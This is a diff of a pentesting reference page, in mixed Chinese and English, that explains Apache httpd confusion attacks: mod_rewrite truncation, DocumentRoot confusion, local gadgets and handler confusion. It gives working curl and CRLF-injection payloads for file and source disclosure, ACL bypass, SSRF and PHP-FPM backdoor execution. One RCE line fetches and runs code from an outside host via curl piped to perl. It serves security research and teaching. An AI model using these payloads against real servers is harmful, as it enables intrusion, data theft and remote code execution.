-可以像以下规则示例中那样滥用`mod_rewrite`，通过简单地添加一个`?`来移除预期路径的最后一部分，从而访问文件系统中的其他文件： +### Filename Confusion + +#### Truncation + +The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Bur in other occasions this will be treated as file path, which would cause a problem. + +- **Path Truncation** + +It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`: ```bash RewriteEngine On RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml" @@ -46,9 +74,9 @@ curl http://server/user/orange curl http://server/user/orange%2Fsecret.yml%3F # the output of file `/var/user/orange/secret.yml` ``` -- **误导 RewriteFlag 分配** +- **误导性 RewriteFlag 赋值** -在以下重写规则中，只要 URL 以 .php 结尾，它就会被视为 php 并执行。因此，可以在 `?` 字符后发送一个以 .php 结尾的 URL，同时在路径中加载一个不同类型的文件（如图像），其中包含恶意的 php 代码： +在下面的重写规则中，只要 URL 以 .php 结尾，它就会被视为并作为 php 执行。因此，可以发送一个在 `?` 字符之后以 .php 结尾的 URL，同时在路径中加载不同类型的文件（例如图像），该文件内部包含恶意 php 代码： ```bash RewriteEngine On RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php] @@ -63,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php ``` #### **ACL Bypass** -即使访问应该被拒绝，仍然可以访问用户不应该能够访问的文件，配置如下： +可以访问本不应被访问的文件，即使通过如下配置访问应该被拒绝： ```xml AuthType Basic @@ -72,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd" Require valid-user ``` -这是因为默认情况下，PHP-FPM 将接收以 `.php` 结尾的 URL，例如 `http://server/admin.php%3Fooo.php`，并且因为 PHP-FPM 会删除字符 `?` 之后的任何内容，之前的 URL 将允许加载 `/admin.php`，即使之前的规则禁止了它。 +这是因为默认情况下 PHP-FPM 会接收以 `.php` 结尾的 URL，例如 `http://server/admin.php%3Fooo.php`，并且由于 PHP-FPM 会移除字符 `?` 之后的所有内容，前面的 URL 将允许加载 `/admin.php`，即使之前的规则禁止它。 -### DocumentRoot Confusion +### DocumentRoot 混淆 ```bash DocumentRoot /var/www/html RewriteRule ^/html/(.*)$ /$1.html ``` -一个关于Apache的有趣事实是，之前的重写将尝试从documentRoot和根目录访问文件。因此，对`https://server/abouth.html`的请求将在文件系统中检查`/var/www/html/about.html`和`/about.html`中的文件。这基本上可以被滥用来访问文件系统中的文件。 +关于 Apache 的一个有趣事实是，前面的 rewrite 会尝试同时从 documentRoot 和 root 访问文件。因此，对 `https://server/abouth.html` 的请求会在文件系统中检查 `/var/www/html/about.html` 和 `/about.html`。这基本上可以被滥用来访问文件系统中的文件。 -#### **服务器端源代码泄露** +#### **Server-Side Source Code Disclosure** -- **泄露CGI源代码** +- **Disclose CGI Source Code** -只需在末尾添加一个%3F就足以泄露cgi模块的源代码： +只需在末尾添加 %3F 就足以 leak cgi 模块的源代码： ```bash curl http://server/cgi-bin/download.cgi # the processed result from download.cgi @@ -95,118 +123,118 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F # ... # # the source code of download.cgi ``` -- **泄露 PHP 源代码** +- **披露 PHP Source Code** -如果服务器有不同的域名，其中一个是静态域名，这可以被利用来遍历文件系统并泄露 php 代码： +如果服务器配置了多个域名，其中一个是静态域名，攻击者可以滥用它来遍历文件系统并 leak php code: ```bash # Leak the config.php file of the www.local domain from the static.local domain curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" # the source code of config.php ``` -#### **本地小工具操控** +#### **Local Gadgets Manipulation** -之前攻击的主要问题是，默认情况下，大多数对文件系统的访问将被拒绝，如Apache HTTP Server的[配置模板](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115)： +之前攻击的主要问题是，默认情况下对文件系统的大多数访问会被拒绝，正如 Apache HTTP Server 的 [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115)： ```xml AllowOverride None Require all denied ``` -然而，默认情况下，[Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) 操作系统允许 `/usr/share`： +然而，[Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) 操作系统默认允许 `/usr/share`： ```xml AllowOverride None Require all granted ``` -因此，在这些发行版中，**滥用位于 `/usr/share` 内的文件是可能的。** +因此，可以在这些发行版中**滥用位于 `/usr/share` 的文件。** -**本地小工具导致信息泄露** +**Local Gadget to Information Disclosure** -- **Apache HTTP Server** 与 **websocketd** 可能会在 **/usr/share/doc/websocketd/examples/php/** 暴露 **dump-env.php** 脚本，这可能会泄露敏感环境变量。 -- 使用 **Nginx** 或 **Jetty** 的服务器可能会通过其默认的 web 根目录暴露敏感的 web 应用程序信息（例如，**web.xml**），这些根目录位于 **/usr/share** 下： +- **Apache HTTP Server** with **websocketd** 可能会在 **/usr/share/doc/websocketd/examples/php/** 暴露 **dump-env.php** 脚本，这可能会 leak 敏感的环境变量。 +- 使用 **Nginx** 或 **Jetty** 的服务器可能会通过放置在 **/usr/share** 下的默认 web 根暴露敏感的 web 应用信息（例如 **web.xml**）： - **/usr/share/nginx/html/** - **/usr/share/jetty9/etc/** - **/usr/share/jetty9/webapps/** -**本地小工具导致 XSS** +**Local Gadget to XSS** -- 在安装了 **LibreOffice** 的 Ubuntu Desktop 上，利用帮助文件的语言切换功能可能导致 **跨站脚本攻击 (XSS)**。通过操纵 **/usr/share/libreoffice/help/help.html** 的 URL，可以重定向到恶意页面或旧版本，使用 **不安全的 RewriteRule**。 +- 在安装了 **LibreOffice** 的 Ubuntu Desktop 上，利用帮助文件的语言切换功能可能导致 **Cross-Site Scripting (XSS)**。在 **/usr/share/libreoffice/help/help.html** 操作 URL 可以通过不安全的 RewriteRule 重定向到恶意页面或旧版本。 -**本地小工具导致 LFI** +**Local Gadget to LFI** -- 如果安装了 PHP 或某些前端包，如 **JpGraph** 或 **jQuery-jFeed**，其文件可能被利用来读取敏感文件，如 **/etc/passwd**： +- 如果安装了 PHP 或某些前端包（如 **JpGraph** 或 **jQuery-jFeed**），它们的文件可能被利用来读取敏感文件如 **/etc/passwd**： - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php** - **/usr/share/javascript/jquery-jfeed/proxy.php** - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php** -**本地小工具导致 SSRF** +**Local Gadget to SSRF** -- 利用 **MagpieRSS 的 magpie_debug.php** 在 **/usr/share/php/magpierss/scripts/magpie_debug.php**，可以轻松创建 SSRF 漏洞，为进一步的攻击提供通道。 +- 利用 **MagpieRSS** 的 **magpie_debug.php**（位于 **/usr/share/php/magpierss/scripts/magpie_debug.php**）可以很容易地构造出 SSRF 漏洞，为进一步利用提供入口。 -**本地小工具导致 RCE** +**Local Gadget to RCE** -- **远程代码执行 (RCE)** 的机会广泛，存在脆弱的安装，如过时的 **PHPUnit** 或 **phpLiteAdmin**。这些可以被利用来执行任意代码，展示了本地小工具操作的广泛潜力。 +- 存在大量可导致 **Remote Code Execution (RCE)** 的机会，例如过时的 **PHPUnit** 或 **phpLiteAdmin** 安装。可以利用这些来执行任意代码，展示本地 gadget 操作的广泛潜力。 -#### **从本地小工具越狱** +#### **Jailbreak from Local Gadgets** -通过跟随在这些文件夹中安装的软件生成的符号链接，也可以从允许的文件夹中越狱，例如： +也可以通过跟随这些文件夹中安装软件生成的符号链接从允许的文件夹中实现越狱，例如： -- **Cacti 日志**: `/usr/share/cacti/site/` -> `/var/log/cacti/` -- **Solr 数据**: `/usr/share/solr/data/` -> `/var/lib/solr/data` -- **Solr 配置**: `/usr/share/solr/conf/` -> `/etc/solr/conf/` -- **MediaWiki 配置**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/` -- **SimpleSAMLphp 配置**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/` +- **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/` +- **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data` +- **Solr Config**: `/usr/share/solr/conf/` -> `/etc/solr/conf/` +- **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/` +- **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/` -此外，滥用符号链接可以获得 **Redmine 中的 RCE**。 +此外，滥用符号链接曾导致在 Redmine 中获得 **RCE**。 -### 处理程序混淆 +### Handler Confusion -此攻击利用了 `AddHandler` 和 `AddType` 指令之间功能的重叠，这两者都可以用来 **启用 PHP 处理**。最初，这些指令影响服务器内部结构中的不同字段（分别为 `r->handler` 和 `r->content_type`）。然而，由于遗留代码，Apache 在某些条件下可以互换处理这些指令，如果前者被设置而后者未设置，则将 `r->content_type` 转换为 `r->handler`。 +此类攻击利用了 `AddHandler` 和 `AddType` 指令在功能上的重叠，这两者都可以用来 **启用 PHP 处理**。最初，这些指令分别影响服务器内部结构中的不同字段（分别为 `r->handler` 和 `r->content_type`）。然而，由于遗留代码的存在，Apache 在某些条件下会互换处理这些指令：如果设置了 `r->content_type` 而 `r->handler` 未设置，则会将 `r->content_type` 转换为 `r->handler`。 -此外，在 Apache HTTP Server (`server/config.c#L420`) 中，如果在执行 `ap_run_handler()` 之前 `r->handler` 为空，服务器 **将 `r->content_type` 作为处理程序使用**，有效地使 `AddType` 和 `AddHandler` 在效果上相同。 +此外，在 Apache HTTP Server（`server/config.c#L420`）中，如果在执行 `ap_run_handler()` 之前 `r->handler` 为空，服务器会**使用 `r->content_type` 作为 handler**，这实际上使 `AddType` 和 `AddHandler` 在效果上等同。 -#### **覆盖处理程序以泄露 PHP 源代码** +#### **Overwrite Handler to Disclose PHP Source Code** -在 [**这次演讲**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) 中，展示了一个漏洞，其中客户端发送的错误 `Content-Length` 可能导致 Apache 错误地 **返回 PHP 源代码**。这是因为 ModSecurity 和 Apache Portable Runtime (APR) 的错误处理问题，导致双重响应覆盖 `r->content_type` 为 `text/html`。\ -因为 ModSecurity 没有正确处理返回值，它会返回 PHP 代码而不会解释它。 +在 [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) 中展示了一个漏洞：客户端发送不正确的 `Content-Length` 可能导致 Apache 错误地**返回 PHP 源代码**。这是由于 ModSecurity 与 Apache Portable Runtime (APR) 的错误处理问题，双重响应会导致 `r->content_type` 被覆盖为 `text/html`。\ +因为 ModSecurity 未正确处理返回值，它会返回 PHP 代码而不会对其进行解释。 -#### **覆盖处理程序以 XXXX** +#### **Overwrite Handler to XXXX** -TODO: Orange 尚未披露此漏洞 +TODO: Orange hasn't disclose this vulnerability yet -### **调用任意处理程序** +### **Invoke Arbitrary Handlers** -如果攻击者能够控制服务器响应中的 **`Content-Type`** 头，他将能够 **调用任意模块处理程序**。然而，在攻击者控制这一点时，请求的大部分处理过程将已完成。然而，可以通过滥用 `Location` 头 **重新启动请求过程**，因为如果 **返回的 `Status` 为 200 且 `Location` 头以 `/` 开头，则响应被视为服务器端重定向，应该被处理**。 +如果攻击者能够控制服务器响应中的 **`Content-Type`** 头，他将能够**调用任意模块 handler**。不过，到攻击者控制该头时，请求的大部分处理流程通常已完成。然而，可以通过滥用 `Location` 头来**重启请求处理流程**，因为如果返回的 `Status` 为 200 且 `Location` 头以 `/` 开头，则该响应被视为服务器端重定向并应被重新处理。 -根据 [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875)（关于 CGI 的规范）在 [第 6.2.2 节](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) 定义了本地重定向响应行为： +根据 [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875)（关于 CGI 的规范）在 [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) 中定义了本地重定向响应行为： -> CGI 脚本可以在 Location 头字段中返回 URI 路径和查询字符串（‘local-pathquery’）以指向本地资源。这向服务器指示它应该使用指定的路径重新处理请求。 +> CGI 脚本可以在 Location 头字段返回本地资源的 URI 路径和查询字符串（“local-pathquery”）。这表示服务器应使用指定的路径重新处理该请求。 -因此，要执行此攻击，需要以下漏洞之一： +因此，要执行此攻击，需具备以下其中之一的漏洞： -- CGI 响应头中的 CRLF 注入 -- 完全控制响应头的 SSRF +- CGI 响应头中的 CRLF 注入（CRLF Injection） +- 能完全控制响应头的 SSRF -#### **任意处理程序导致信息泄露** +#### **Arbitrary Handler to Information Disclosure** -例如，`/server-status` 应仅在本地可访问： +例如 `/server-status` 应仅在本地可访问： ```xml SetHandler server-status Require local ``` -可以通过将 `Content-Type` 设置为 `server-status` 并将 Location 头以 `/` 开头来访问它。 +可以通过将 `Content-Type` 设置为 `server-status` 并将 Location 头设置为以 `/` 开头来访问它。 ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo %0d%0a Content-Type:server-status %0d%0a %0d%0a ``` -#### **任意处理程序到完整的SSRF** +#### **Arbitrary Handler to Full SSRF** -重定向到 `mod_proxy` 以访问任何URL上的任何协议： +重定向到 `mod_proxy` 以访问任何 URL 上的任何协议： ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a @@ -215,9 +243,9 @@ http://example.com/%3F %0d%0a %0d%0a ``` -然而，`X-Forwarded-For` 标头被添加以防止访问云元数据端点。 +但是，已添加 `X-Forwarded-For` 头，阻止访问云元数据端点。 -#### **任意处理程序访问本地 Unix 域套接字** +#### **任意处理程序以访问本地 Unix 域套接字** 访问 PHP-FPM 的本地 Unix 域套接字以执行位于 `/tmp/` 的 PHP 后门： ``` @@ -226,9 +254,9 @@ Location:/ooo %0d%0a Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a %0d%0a ``` -#### **任意处理程序到 RCE** +#### **Arbitrary Handler to RCE** -官方的 [PHP Docker](https://hub.docker.com/_/php) 镜像包含 PEAR (`Pearcmd.php`)，这是一个命令行 PHP 包管理工具，可以被滥用以获得 RCE： +官方 [PHP Docker](https://hub.docker.com/_/php) 镜像包含 PEAR (`Pearcmd.php`)，这是一个命令行 PHP 包管理工具，可能被滥用以获取 RCE: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS} @@ -237,10 +265,13 @@ orange.tw/x|perl Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a %0d%0a ``` -检查 [**Docker PHP LFI 总结**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)，由 [Phith0n](https://x.com/phithon_xg) 撰写，了解该技术的详细信息。 +查看 [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)，作者 [Phith0n](https://x.com/phithon_xg)，以获取此技术的详细信息。 -## 参考文献 +## References - [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) +- [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html) +- [Apache 2.4 Expressions and functions (file:)](https://httpd.apache.org/docs/2.4/expr.html) +- [HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse](https://0xdf.gitlab.io/2025/08/12/htb-zero.html) {{#include ../../banners/hacktricks-training.md}}